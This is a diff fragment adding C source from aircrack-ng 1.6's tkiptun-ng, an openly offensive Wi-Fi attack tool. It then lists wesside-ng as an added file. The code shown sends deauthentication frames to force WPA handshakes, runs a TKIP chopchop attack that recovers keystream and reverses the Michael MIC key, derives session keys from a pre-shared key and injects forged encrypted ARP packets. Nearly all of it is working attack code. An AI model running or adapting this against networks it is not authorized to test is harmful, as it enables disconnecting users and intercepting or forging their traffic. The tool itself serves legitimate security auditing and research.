+			printf("\nWarning: ICV checksum verification FAILED! Trying "
+				   "workaround.\n");
+			tried_header_rec = 1;
+			goto header_rec;
+		}
+		else
+		{
+			printf("\nWorkaround couldn't fix ICV checksum.\nPacket is most "
+				   "likely invalid/useless\nTry another one.\n");
+		}
+	}
+
+	caplen -= 8 + 4; /* remove the TKIP EXT IV & CRC (ICV) */
+
+	if (lopt.got_ptk)
+	{
+		PCT;
+		printf("Priority: %02X:%02X\n", h80211[z - 2], h80211[z - 1]);
+		calc_tkip_mic(h80211, caplen - 8, lopt.wpa_sta.ptk, mic);
+		if (memcmp(mic, h80211 + caplen - 8, 8) == 0)
+		{
+			PCT;
+			printf("Correct MIC!\n");
+		}
+		else
+		{
+			PCT;
+			printf("Incorrect MIC!\n");
+		}
+		PCT;
+		printf("Captured MIC: ");
+		for (i = 0; i < 7; i++) printf("%02X:", h80211[caplen - 8 + i]);
+		printf("%02X\n", h80211[caplen - 1]);
+		PCT;
+		printf("Calculated MIC: ");
+		for (i = 0; i < 7; i++) printf("%02X:", mic[i]);
+		printf("%02X\n", mic[7]);
+	}
+
+	calc_tkip_mic_key(h80211, caplen, mic);
+
+	h80211[1] &= 0xBF; /* remove the WEP bit, too */
+
+	if ((h80211[1] & 3) == 1)
+	{
+		PCT;
+		printf("Reversed MIC Key (ToDS): ");
+		for (i = 0; i < 7; i++) printf("%02X:", mic[i]);
+		printf("%02X\n", mic[7]);
+		memcpy(lopt.ptk + 48 + 8, mic, 8);
+		lopt.got_mic_tods = 1;
+		lopt.chopped_to_plain = (unsigned char *) malloc(caplen);
+		ALLEGE(lopt.chopped_to_plain != NULL);
+		memcpy(lopt.chopped_to_plain, h80211, caplen);
+		lopt.chopped_to_plain_len = caplen;
+		lopt.chopped_to_prga = (unsigned char *) malloc(caplen - 26 + 4 + 8);
+		ALLEGE(lopt.chopped_to_prga != NULL);
+		memcpy(lopt.chopped_to_prga, chopped + 26, caplen - 26 + 4 + 8);
+		lopt.chopped_to_prga_len = caplen - 26 + 4 + 8;
+	}
+
+	if ((h80211[1] & 3) == 2)
+	{
+		PCT;
+		printf("Reversed MIC Key (FromDS): ");
+		for (i = 0; i < 7; i++) printf("%02X:", mic[i]);
+		printf("%02X\n", mic[7]);
+		memcpy(lopt.ptk + 48, mic, 8);
+		lopt.got_mic_fromds = 1;
+		lopt.chopped_from_plain = (unsigned char *) malloc(caplen);
+		ALLEGE(lopt.chopped_from_plain != NULL);
+		memcpy(lopt.chopped_from_plain, h80211, caplen);
+		lopt.chopped_from_plain_len = caplen;
+		lopt.chopped_from_prga = (unsigned char *) malloc(caplen - 26 + 4 + 8);
+		ALLEGE(lopt.chopped_from_prga != NULL);
+		memcpy(lopt.chopped_from_prga, chopped + 26, caplen - 26 + 4 + 8);
+		lopt.chopped_from_prga_len = caplen - 26 + 4 + 8;
+	}
+
+	/* save the decrypted packet */
+
+	gettimeofday(&tv, NULL);
+
+	pfh_out.magic = TCPDUMP_MAGIC;
+	pfh_out.version_major = PCAP_VERSION_MAJOR;
+	pfh_out.version_minor = PCAP_VERSION_MINOR;
+	pfh_out.thiszone = 0;
+	pfh_out.sigfigs = 0;
+	pfh_out.snaplen = 65535;
+	pfh_out.linktype = LINKTYPE_IEEE802_11;
+
+	pkh.tv_sec = tv.tv_sec;
+	pkh.tv_usec = tv.tv_usec;
+	pkh.caplen = caplen;
+	pkh.len = caplen;
+
+	lt = localtime((const time_t *) &tv.tv_sec);
+
+	memset(strbuf, 0, sizeof(strbuf));
+	snprintf(strbuf,
+			 sizeof(strbuf) - 1,
+			 "replay_dec-%02d%02d-%02d%02d%02d.cap",
+			 lt->tm_mon + 1,
+			 lt->tm_mday,
+			 lt->tm_hour,
+			 lt->tm_min,
+			 lt->tm_sec);
+
+	printf("\nSaving plaintext in %s\n", strbuf);
+
+	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
+	{
+		perror("fopen failed");
+		free(chopped);
+		return (1);
+	}
+
+	n = sizeof(struct pcap_file_header);
+
+	if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed\n");
+		fclose(f_cap_out);
+		free(chopped);
+		return (1);
+	}
+
+	n = sizeof(pkh);
+
+	if (fwrite(&pkh, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed");
+		fclose(f_cap_out);
+		free(chopped);
+		return (1);
+	}
+
+	n = pkh.caplen;
+
+	if (fwrite(h80211, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed");
+		fclose(f_cap_out);
+		free(chopped);
+		return (1);
+	}
+
+	fclose(f_cap_out);
+
+	/* save the RC4 stream (xor mask) */
+
+	memset(strbuf, 0, sizeof(strbuf));
+	snprintf(strbuf,
+			 sizeof(strbuf) - 1,
+			 "replay_dec-%02d%02d-%02d%02d%02d.xor",
+			 lt->tm_mon + 1,
+			 lt->tm_mday,
+			 lt->tm_hour,
+			 lt->tm_min,
+			 lt->tm_sec);
+
+	printf("Saving keystream in %s\n", strbuf);
+
+	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
+	{
+		perror("fopen failed");
+		free(chopped);
+		return (1);
+	}
+
+	n = pkh.caplen + 8 - 26 - 8;
+
+	if (fwrite(chopped + 26 + 8, n, 1, f_cap_out) != 1)
+	{
+		perror("fwrite failed");
+		free(chopped);
+		return (1);
+	}
+
+	fclose(f_cap_out);
+
+	PCT;
+	printf("\nCompleted in %lds (%0.2f bytes/s)\n\n",
+		   (long) time(NULL) - tt,
+		   (float) (pkh.caplen - 6 - 26) / (float) (time(NULL) - tt));
+
+	free(chopped);
+
+	return (0);
+}
+
+static int getHDSK(void)
+{
+	int i, n;
+	int aacks, sacks, caplen;
+	struct timeval tv;
+	fd_set rfds;
+
+	n = 0;
+
+	/* deauthenticate the target */
+
+	memcpy(h80211, DEAUTH_REQ, 26);
+	memcpy(h80211 + 16, opt.r_bssid, 6);
+
+	aacks = 0;
+	sacks = 0;
+	for (i = 0; i < 4; i++)
+	{
+		if (i == 0)
+		{
+			PCT;
+			printf("Sending 4 directed DeAuth. STMAC:"
+				   " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
+				   lopt.wpa.stmac[0],
+				   lopt.wpa.stmac[1],
+				   lopt.wpa.stmac[2],
+				   lopt.wpa.stmac[3],
+				   lopt.wpa.stmac[4],
+				   lopt.wpa.stmac[5],
+				   sacks,
+				   aacks);
+		}
+
+		memcpy(h80211 + 4, lopt.wpa.stmac, 6);
+		memcpy(h80211 + 10, opt.r_bssid, 6);
+
+		if (send_packet(_wi_out, h80211, 26, kNoChange) < 0) return (1);
+
+		usleep(2000);
+
+		memcpy(h80211 + 4, opt.r_bssid, 6);
+		memcpy(h80211 + 10, lopt.wpa.stmac, 6);
+
+		if (send_packet(_wi_out, h80211, 26, kNoChange) < 0) return (1);
+
+		usleep(100000);
+
+		while (1)
+		{
+			FD_ZERO(&rfds);
+			FD_SET(dev.fd_in, &rfds);
+
+			tv.tv_sec = 0;
+			tv.tv_usec = 1000;
+
+			if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
+			{
+				if (errno == EINTR) continue;
+				perror("select failed");
+				return (1);
+			}
+
+			if (!FD_ISSET(dev.fd_in, &rfds)) break;
+
+			caplen = read_packet(_wi_in, h80211, sizeof(h80211), NULL);
+
+			check_received(h80211, caplen);
+
+			if (caplen <= 0) break;
+			if (caplen != 10) continue;
+			if (h80211[0] == 0xD4)
+			{
+				if (memcmp(h80211 + 4, lopt.wpa.stmac, 6) == 0)
+				{
+					aacks++;
+				}
+				if (memcmp(h80211 + 4, opt.r_bssid, 6) == 0)
+				{
+					sacks++;
+				}
+				PCT;
+				printf("Sending 4 directed DeAuth. STMAC:"
+					   " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
+					   lopt.wpa.stmac[0],
+					   lopt.wpa.stmac[1],
+					   lopt.wpa.stmac[2],
+					   lopt.wpa.stmac[3],
+					   lopt.wpa.stmac[4],
+					   lopt.wpa.stmac[5],
+					   sacks,
+					   aacks);
+			}
+		}
+	}
+	printf("\n");
+
+	return (0);
+}
+
+int main(int argc, char * argv[])
+{
+	int i, j, n, ret, got_hdsk;
+	char *s, buf[128];
+	int caplen = 0;
+	unsigned char packet1[4096];
+	unsigned char packet2[4096];
+	int packet1_len, packet2_len;
+	struct timeval mic_fail;
+
+	ac_crypto_init();
+
+	/* check the arguments */
+
+	memset(&opt, 0, sizeof(opt));
+	memset(&dev, 0, sizeof(dev));
+
+	opt.f_type = -1;
+	opt.f_subtype = -1;
+	opt.f_minlen = 80;
+	opt.f_maxlen = 80;
+	lopt.f_minlen_set = 0;
+	lopt.f_maxlen_set = 0;
+	opt.f_tods = -1;
+	opt.f_fromds = -1;
+	opt.f_iswep = -1;
+	opt.ringbuffer = 8;
+
+	opt.a_mode = -1;
+	opt.r_fctrl = -1;
+	opt.ghost = 0;
+	opt.npackets = -1;
+	opt.delay = 15;
+	opt.bittest = 0;
+	opt.fast = -1;
+	opt.r_smac_set = 0;
+	opt.nodetect = 0;
+	lopt.mic_failure_interval = DEFAULT_MIC_FAILURE_INTERVAL;
+
+	while (1)
+	{
+		int option_index = 0;
+
+		static const struct option long_options[] = {{"help", 0, 0, 'H'},
+													 {"pmk", 1, 0, 'P'},
+													 {"psk", 1, 0, 'p'},
+													 {0, 0, 0, 0}};
+
+		int option = getopt_long(argc,
+								 argv,
+								 "d:s:m:n:t:f:x:a:c:h:e:jy:i:r:HZDK:P:p:M:",
+								 long_options,
+								 &option_index);
+
+		if (option < 0) break;
+
+		switch (option)
+		{
+			case 0:
+
+				break;
+
+			case ':':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (1);
+
+			case '?':
+
+				printf("\"%s --help\" for help.\n", argv[0]);
+				return (1);
+
+			case 'd':
+
+				if (getmac(optarg, 1, opt.f_dmac) != 0)
+				{
+					printf("Invalid destination MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 's':
+
+				if (getmac(optarg, 1, opt.f_smac) != 0)
+				{
+					printf("Invalid source MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'm':
+
+				ret = sscanf(optarg, "%d", &opt.f_minlen);
+				if (opt.f_minlen < 0 || ret != 1)
+				{
+					printf("Invalid minimum length filter. [>=0]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				lopt.f_minlen_set = 1;
+				break;
+
+			case 'n':
+
+				ret = sscanf(optarg, "%d", &opt.f_maxlen);
+				if (opt.f_maxlen < 0 || ret != 1)
+				{
+					printf("Invalid maximum length filter. [>=0]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				lopt.f_maxlen_set = 1;
+				break;
+
+			case 't':
+
+				ret = sscanf(optarg, "%d", &opt.f_tods);
+				if ((opt.f_tods != 0 && opt.f_tods != 1) || ret != 1)
+				{
+					printf("Invalid tods filter. [0,1]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'f':
+
+				ret = sscanf(optarg, "%d", &opt.f_fromds);
+				if ((opt.f_fromds != 0 && opt.f_fromds != 1) || ret != 1)
+				{
+					printf("Invalid fromds filter. [0,1]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'x':
+
+				ret = sscanf(optarg, "%d", &opt.r_nbpps);
+				if (opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1)
+				{
+					printf("Invalid number of packets per second. [1-1024]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'a':
+
+				if (getmac(optarg, 1, opt.r_bssid) != 0)
+				{
+					printf("Invalid AP MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				if (getmac(optarg, 1, opt.f_bssid) != 0)
+				{
+					printf("Invalid AP MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'c':
+
+				if (getmac(optarg, 1, opt.r_dmac) != 0)
+				{
+					printf("Invalid destination MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			case 'h':
+
+				if (getmac(optarg, 1, opt.r_smac) != 0)
+				{
+					printf("Invalid source MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				if (getmac(optarg, 1, lopt.wpa.stmac) != 0)
+				{
+					printf("Invalid source MAC address.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.r_smac_set = 1;
+				break;
+
+			case 'e':
+
+				memset(opt.r_essid, 0, sizeof(opt.r_essid));
+				strncpy(opt.r_essid, optarg, sizeof(opt.r_essid) - 1);
+				break;
+
+			case 'j':
+
+				opt.r_fromdsinj = 1;
+				break;
+
+			case 'D':
+
+				opt.nodetect = 1;
+				break;
+
+			case 'y':
+
+				if (opt.prga != NULL)
+				{
+					printf("PRGA file already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				if (read_prga(&(opt.prga), optarg) != 0)
+				{
+					return (1);
+				}
+				break;
+
+			case 'i':
+
+				if (opt.s_face != NULL || opt.s_file)
+				{
+					printf("Packet source already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.s_face = optarg;
+				opt.port_in
+					= get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in) - 1);
+				break;
+
+			case 'r':
+
+				if (opt.s_face != NULL || opt.s_file)
+				{
+					printf("Packet source already specified.\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				opt.s_file = optarg;
+				break;
+
+			case 'Z':
+
+				opt.fast = 0;
+				break;
+
+			case 'H':
+
+				printf(usage,
+					   getVersion("Tkiptun-ng",
+								  _MAJ,
+								  _MIN,
+								  _SUB_MIN,
+								  _REVISION,
+								  _BETA,
+								  _RC));
+				return (1);
+
+			case 'K':
+
+				i = 0;
+				n = 0;
+				s = optarg;
+				while (s[i] != '\0')
+				{
+					if (s[i] == '-' || s[i] == ':' || s[i] == ' ')
+						i++;
+					else
+						s[n++] = s[i++];
+				}
+				s[n] = '\0';
+				buf[0] = s[0];
+				buf[1] = s[1];
+				buf[2] = '\0';
+				i = 0;
+				j = 0;
+				while (sscanf(buf, "%x", &n) == 1)
+				{
+					if (n < 0 || n > 255)
+					{
+						printf("Invalid keystream.\n");
+						printf("\"%s --help\" for help.\n", argv[0]);
+						return (1);
+					}
+					lopt.oldkeystream[lopt.oldkeystreamlen] = n;
+					lopt.oldkeystreamlen++;
+					s += 2;
+					buf[0] = s[0];
+					buf[1] = s[1];
+				}
+				break;
+
+			case 'P':
+
+				memset(lopt.pmk, 0, sizeof(lopt.pmk));
+				i = hexStringToArray(optarg, strlen(optarg), lopt.pmk, 128);
+				if (i == -1)
+				{
+					printf("Invalid value. It requires 128 bytes of PMK in "
+						   "hexadecimal.\n");
+					return (1);
+				}
+				lopt.got_pmk = 1;
+				break;
+
+			case 'p':
+
+				memset(lopt.psk, 0, sizeof(lopt.psk));
+				if (strlen(optarg) < 8 || strlen(optarg) > 63)
+				{
+					printf("PSK with invalid length specified [8-64].\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				strncpy(lopt.psk, optarg, sizeof(lopt.psk) - 1);
+				lopt.got_psk = 1;
+				break;
+
+			case 'M':
+
+				ret = sscanf(optarg, "%d", &lopt.mic_failure_interval);
+				if (ret != 1 || lopt.mic_failure_interval < 0)
+				{
+					printf("Invalid MIC error timeout. [>=0]\n");
+					printf("\"%s --help\" for help.\n", argv[0]);
+					return (1);
+				}
+				break;
+
+			default:
+				goto usage;
+		}
+	}
+
+	if (argc - optind != 1)
+	{
+		if (argc == 1)
+		{
+		usage:
+			printf(
+				usage,
+				getVersion(
+					"Tkiptun-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC));
+		}
+		if (argc - optind == 0)
+		{
+			printf("No replay interface specified.\n");
+		}
+		if (argc > 1)
+		{
+			printf("\"%s --help\" for help.\n", argv[0]);
+		}
+		return (1);
+	}
+
+	if (!opt.r_smac_set)
+	{
+		printf("A Client MAC must be specified (-h).\n");
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (1);
+	}
+
+	if ((opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen)
+	{
+		printf("Invalid length filter (min(-m):%d > max(-n):%d).\n",
+			   opt.f_minlen,
+			   opt.f_maxlen);
+		printf("\"%s --help\" for help.\n", argv[0]);
+		return (1);
+	}
+
+	if (opt.f_tods == 1 && opt.f_fromds == 1)
+	{
+		printf("FromDS and ToDS bit are set: packet has to come from the AP "
+			   "and go to the AP\n");
+	}
+
+	dev.fd_rtc = -1;
+
+/* open the RTC device if necessary */
+
+#if defined(__i386__)
+#if defined(linux)
+	if ((dev.fd_rtc = open("/dev/rtc0", O_RDONLY)) < 0)
+	{
+		dev.fd_rtc = 0;
+	}
+
+	if ((dev.fd_rtc == 0) && ((dev.fd_rtc = open("/dev/rtc", O_RDONLY)) < 0))
+	{
+		dev.fd_rtc = 0;
+	}
+
+	if (dev.fd_rtc > 0)
+	{
+		if (ioctl(dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION) < 0)
+		{
+			perror("ioctl(RTC_IRQP_SET) failed");
+			printf("Make sure enhanced rtc device support is enabled in the "
+				   "kernel (module\n"
+				   "rtc, not genrtc) - also try 'echo 1024 "
+				   ">/proc/sys/dev/rtc/max-user-freq'.\n");
+			close(dev.fd_rtc);
+			dev.fd_rtc = -1;
+		}
+		else
+		{
+			if (ioctl(dev.fd_rtc, RTC_PIE_ON, 0) < 0)
+			{
+				perror("ioctl(RTC_PIE_ON) failed");
+				close(dev.fd_rtc);
+				dev.fd_rtc = -1;
+			}
+		}
+	}
+	else
+	{
+		printf("For information, no action required:"
+			   " Using gettimeofday() instead of /dev/rtc\n");
+		dev.fd_rtc = -1;
+	}
+#endif /* linux */
+#endif /* i386 */
+
+	opt.iface_out = argv[optind];
+	opt.port_out
+		= get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out) - 1);
+
+	// don't open interface(s) when using test mode and airserv
+	if (!(opt.a_mode == 9 && opt.port_out >= 0))
+	{
+		/* open the replay interface */
+		_wi_out = wi_open(opt.iface_out);
+		if (!_wi_out) return (1);
+		dev.fd_out = wi_fd(_wi_out);
+
+		/* open the packet source */
+		if (opt.s_face != NULL)
+		{
+			// don't open interface(s) when using test mode and airserv
+			if (!(opt.a_mode == 9 && opt.port_in >= 0))
+			{
+				_wi_in = wi_open(opt.s_face);
+				if (!_wi_in) return (1);
+				dev.fd_in = wi_fd(_wi_in);
+				wi_get_mac(_wi_in, dev.mac_in);
+			}
+		}
+		else
+		{
+			_wi_in = _wi_out;
+			dev.fd_in = dev.fd_out;
+
+			/* XXX */
+			dev.arptype_in = dev.arptype_out;
+			wi_get_mac(_wi_in, dev.mac_in);
+		}
+
+		wi_get_mac(_wi_out, dev.mac_out);
+	}
+
+	/* drop privileges */
+	if (setuid(getuid()) == -1)
+	{
+		perror("setuid");
+	}
+
+	/* XXX */
+	if (opt.r_nbpps == 0)
+	{
+		opt.r_nbpps = 10;
+	}
+
+	if (opt.s_file != NULL)
+	{
+		if (!(dev.f_cap_in = fopen(opt.s_file, "rb")))
+		{
+			perror("open failed");
+			return (1);
+		}
+
+		n = sizeof(struct pcap_file_header);
+
+		if (fread(&dev.pfh_in, 1, n, dev.f_cap_in) != (size_t) n)
+		{
+			perror("fread(pcap file header) failed");
+			return (1);
+		}
+
+		if (dev.pfh_in.magic != TCPDUMP_MAGIC
+			&& dev.pfh_in.magic != TCPDUMP_CIGAM)
+		{
+			fprintf(stderr,
+					"\"%s\" isn't a pcap file (expected "
+					"TCPDUMP_MAGIC).\n",
+					opt.s_file);
+			return (1);
+		}
+
+		if (dev.pfh_in.magic == TCPDUMP_CIGAM) SWAP32(dev.pfh_in.linktype);
+
+		if (dev.pfh_in.linktype != LINKTYPE_IEEE802_11
+			&& dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER
+			&& dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR
+			&& dev.pfh_in.linktype != LINKTYPE_PPI_HDR)
+		{
+			fprintf(stderr,
+					"Wrong linktype from pcap file header "
+					"(expected LINKTYPE_IEEE802_11) -\n"
+					"this doesn't look like a regular 802.11 "
+					"capture.\n");
+			return (1);
+		}
+	}
+
+	// if there is no -h given, use default hardware mac
+	if (maccmp(opt.r_smac, NULL_MAC) == 0)
+	{
+		memcpy(opt.r_smac, dev.mac_out, 6);
+		if (opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9)
+		{
+			printf("No source MAC (-h) specified. Using the device MAC "
+				   "(%02X:%02X:%02X:%02X:%02X:%02X)\n",
+				   dev.mac_out[0],
+				   dev.mac_out[1],
+				   dev.mac_out[2],
+				   dev.mac_out[3],
+				   dev.mac_out[4],
+				   dev.mac_out[5]);
+		}
+	}
+
+	if (maccmp(opt.r_smac, dev.mac_out) != 0
+		&& maccmp(opt.r_smac, NULL_MAC) != 0)
+	{
+		fprintf(stderr,
+				"The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)"
+				" doesn't match the specified MAC (-h).\n"
+				"\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n",
+				dev.mac_out[0],
+				dev.mac_out[1],
+				dev.mac_out[2],
+				dev.mac_out[3],
+				dev.mac_out[4],
+				dev.mac_out[5],
+				opt.iface_out,
+				opt.r_smac[0],
+				opt.r_smac[1],
+				opt.r_smac[2],
+				opt.r_smac[3],
+				opt.r_smac[4],
+				opt.r_smac[5]);
+	}
+
+	/* DO MICHAEL TEST */
+
+	memset(buf, 0, 128);
+	memcpy(buf, "M", 1);
+	i = michael_test((unsigned char *) "\x82\x92\x5c\x1c\xa1\xd1\x30\xb8",
+					 (unsigned char *) buf,
+					 strlen(buf),
+					 (unsigned char *) "\x43\x47\x21\xca\x40\x63\x9b\x3f");
+	PCT;
+	printf("Michael Test: %s\n", i ? "Successful" : "Failed");
+
+	/* END MICHAEL TEST*/
+
+	if (getnet(_wi_in,
+			   NULL,
+			   0,
+			   0,
+			   opt.f_bssid,
+			   opt.r_bssid,
+			   (uint8_t *) opt.r_essid,
+			   0 /* ignore_negative_one */,
+			   opt.nodetect)
+		!= 0)
+		return (EXIT_FAILURE);
+
+	PCT;
+	printf("Found specified AP\n");
+
+	got_hdsk = 0;
+	while (1)
+	{
+		getHDSK();
+		for (i = 0; i < 10; i++)
+		{
+			read_sleep(dev.fd_in, 500000, my_read_sleep_cb);
+			if (lopt.wpa.state == 7)
+			{
+				got_hdsk = 1;
+				break;
+			}
+		}
+		if (got_hdsk) break;
+	}
+
+	if (!lopt.got_pmk && lopt.got_psk && strlen(opt.r_essid) > 1)
+	{
+		calc_pmk(lopt.psk, opt.r_essid, lopt.pmk);
+		PCT;
+		printf("PSK: %s\n", lopt.psk);
+		PCT;
+		printf("PMK: ");
+		for (i = 0; i < 31; i++) printf("%02X:", lopt.pmk[i]);
+		printf("%02X\n", lopt.pmk[31]);
+		lopt.got_pmk = 1;
+	}
+
+	if (lopt.got_pmk)
+	{
+		lopt.wpa_sta.next = NULL;
+		memcpy(lopt.wpa_sta.stmac, opt.r_smac, 6);
+		memcpy(lopt.wpa_sta.bssid, opt.f_bssid, 6);
+		memcpy(lopt.wpa_sta.snonce, lopt.wpa.snonce, 32);
+		memcpy(lopt.wpa_sta.anonce, lopt.wpa.anonce, 32);
+		memset(lopt.wpa_sta.keymic, 0, sizeof(lopt.wpa_sta.keymic));
+		memcpy(lopt.wpa_sta.keymic, lopt.wpa.keymic, sizeof(lopt.wpa.keymic));
+		memcpy(lopt.wpa_sta.eapol, lopt.wpa.eapol, 256);
+		lopt.wpa_sta.eapol_size = lopt.wpa.eapol_size;
+		lopt.wpa_sta.keyver = lopt.wpa.keyver;
+		lopt.wpa_sta.valid_ptk = calc_ptk(&lopt.wpa_sta, lopt.pmk);
+		PCT;
+		printf("PTK: ");
+		for (i = 0; i < 79; i++) printf("%02X:", lopt.wpa_sta.ptk[i]);
+		printf("%02X\n", lopt.wpa_sta.ptk[79]);
+		PCT;
+		printf("Valid PTK: %s\n", (lopt.wpa_sta.valid_ptk) ? "Yes" : "No!");
+		if (lopt.wpa_sta.valid_ptk) lopt.got_ptk = 1;
+
+		PCT;
+		printf("KCK: ");
+		for (i = 0; i < 15; i++) printf("%02X:", lopt.wpa_sta.ptk[i]);
+		printf("%02X\n", lopt.wpa_sta.ptk[15]);
+
+		PCT;
+		printf("KEK: ");
+		for (i = 16; i < 31; i++) printf("%02X:", lopt.wpa_sta.ptk[i]);
+		printf("%02X\n", lopt.wpa_sta.ptk[31]);
+
+		PCT;
+		printf("Temporal Encryption Key (TK1): ");
+		for (i = 32; i < 47; i++) printf("%02X:", lopt.wpa_sta.ptk[i]);
+		printf("%02X\n", lopt.wpa_sta.ptk[47]);
+
+		PCT;
+		printf("Michael Key (FromDS): ");
+		for (i = 48; i < 55; i++) printf("%02X:", lopt.wpa_sta.ptk[i]);
+		printf("%02X\n", lopt.wpa_sta.ptk[55]);
+
+		PCT;
+		printf("Michael Key (ToDS): ");
+		for (i = 56; i < 63; i++) printf("%02X:", lopt.wpa_sta.ptk[i]);
+		printf("%02X\n", lopt.wpa_sta.ptk[63]);
+	}
+
+	/* Select ToDS ARP from Client */
+
+	PCT;
+	printf("Waiting for an ARP packet coming from the Client...\n");
+
+	opt.f_tods = 1;
+	opt.f_fromds = 0;
+	memcpy(opt.f_smac, opt.r_smac, 6);
+	if (opt.fast == -1) opt.fast = 1;
+
+	if (lopt.f_minlen_set == 0)
+	{
+		opt.f_minlen = 80;
+	}
+	if (lopt.f_maxlen_set == 0)
+	{
+		opt.f_maxlen = 80;
+	}
+
+	while (1)
+	{
+		if (capture_ask_packet(&caplen, 0) != 0) return (1);
+		if (is_qos_arp_tkip(h80211, caplen) == 1) break;
+	}
+
+	memcpy(packet2, h80211, caplen);
+	packet2_len = caplen;
+
+	/* Select FromDS ARP to Client */
+
+	PCT;
+	printf("Waiting for an ARP response packet coming from the AP...\n");
+
+	opt.f_tods = 0;
+	opt.f_fromds = 1;
+	memcpy(opt.f_dmac, opt.r_smac, 6);
+	memcpy(opt.f_smac, NULL_MAC, 6);
+
+	if (lopt.f_minlen_set == 0)
+	{
+		opt.f_minlen = 80;
+	}
+	if (lopt.f_maxlen_set == 0)
+	{
+		opt.f_maxlen = 98;
+	}
+
+	while (1)
+	{
+		if (capture_ask_packet(&caplen, 0) != 0) return (1);
+		if (is_qos_arp_tkip(h80211, caplen) == 1) break;
+	}
+
+	memcpy(packet1, h80211, caplen);
+	packet1_len = caplen;
+
+	PCT;
+	printf("Got the answer!\n");
+
+	PCT;
+	printf("Waiting 10 seconds to let encrypted EAPOL frames pass without "
+		   "interfering.\n");
+	read_sleep(dev.fd_in, 10 * 1000000, my_read_sleep_cb);
+
+	memcpy(h80211, packet1, packet1_len);
+
+	/* Chop the packet down, get a keystream+plaintext, calculate the MIC Key */
+
+	if (do_attack_tkipchop(h80211, caplen) == 1) return (1);
+
+	/* derive IPs and MACs; relays on QoS, ARP and fromDS packet */
+	if (lopt.chopped_from_plain != NULL)
+	{
+		memcpy(lopt.ip_cli, lopt.chopped_from_plain + 58, 4);
+		memcpy(lopt.ip_ap, lopt.chopped_from_plain + 48, 4);
+		memcpy(lopt.r_apmac, lopt.chopped_from_plain + 42, 6);
+	}
+
+	PCT;
+	printf("AP MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n",
+		   lopt.r_apmac[0],
+		   lopt.r_apmac[1],
+		   lopt.r_apmac[2],
+		   lopt.r_apmac[3],
+		   lopt.r_apmac[4],
+		   lopt.r_apmac[5],
+		   lopt.ip_ap[0],
+		   lopt.ip_ap[1],
+		   lopt.ip_ap[2],
+		   lopt.ip_ap[3]);
+	PCT;
+	printf("Client MAC: %02X:%02X:%02X:%02X:%02X:%02X IP: %i.%i.%i.%i\n",
+		   opt.r_smac[0],
+		   opt.r_smac[1],
+		   opt.r_smac[2],
+		   opt.r_smac[3],
+		   opt.r_smac[4],
+		   opt.r_smac[5],
+		   lopt.ip_cli[0],
+		   lopt.ip_cli[1],
+		   lopt.ip_cli[2],
+		   lopt.ip_cli[3]);
+
+	/* Send an ARP Request from the AP to the Client */
+
+	build_arp_request(
+		h80211, &caplen, 0); // writes encrypted tkip arp request into h80211
+	send_packet(_wi_out, h80211, (size_t) caplen, kNoChange);
+	PCT;
+	printf("Sent encrypted tkip ARP request to the client.\n");
+
+	/* wait until we can generate a new mic failure */
+
+	PCT;
+	printf("Wait for the mic countermeasure timeout of %i seconds.\n",
+		   lopt.mic_failure_interval);
+
+	while (1)
+	{
+		gettimeofday(&mic_fail, NULL);
+		if ((mic_fail.tv_sec - lopt.last_mic_failure.tv_sec) * 1000000UL
+				+ (mic_fail.tv_usec - lopt.last_mic_failure.tv_usec)
+			> lopt.mic_failure_interval * 1000000UL)
+			break;
+		sleep(1);
+	}
+
+	/* Also chop the answer to get the equivalent MIC Key */
+	memcpy(h80211, packet2, packet2_len);
+	do_attack_tkipchop(h80211, caplen);
+
+	/* that's all, folks */
+
+	return (0);
+}

aircrack-ng-1.6.tar.gz/src/wesside-ng Added

aircrack-ng-1.6.tar.gz/src/wesside-ng/wesside-ng.c Added

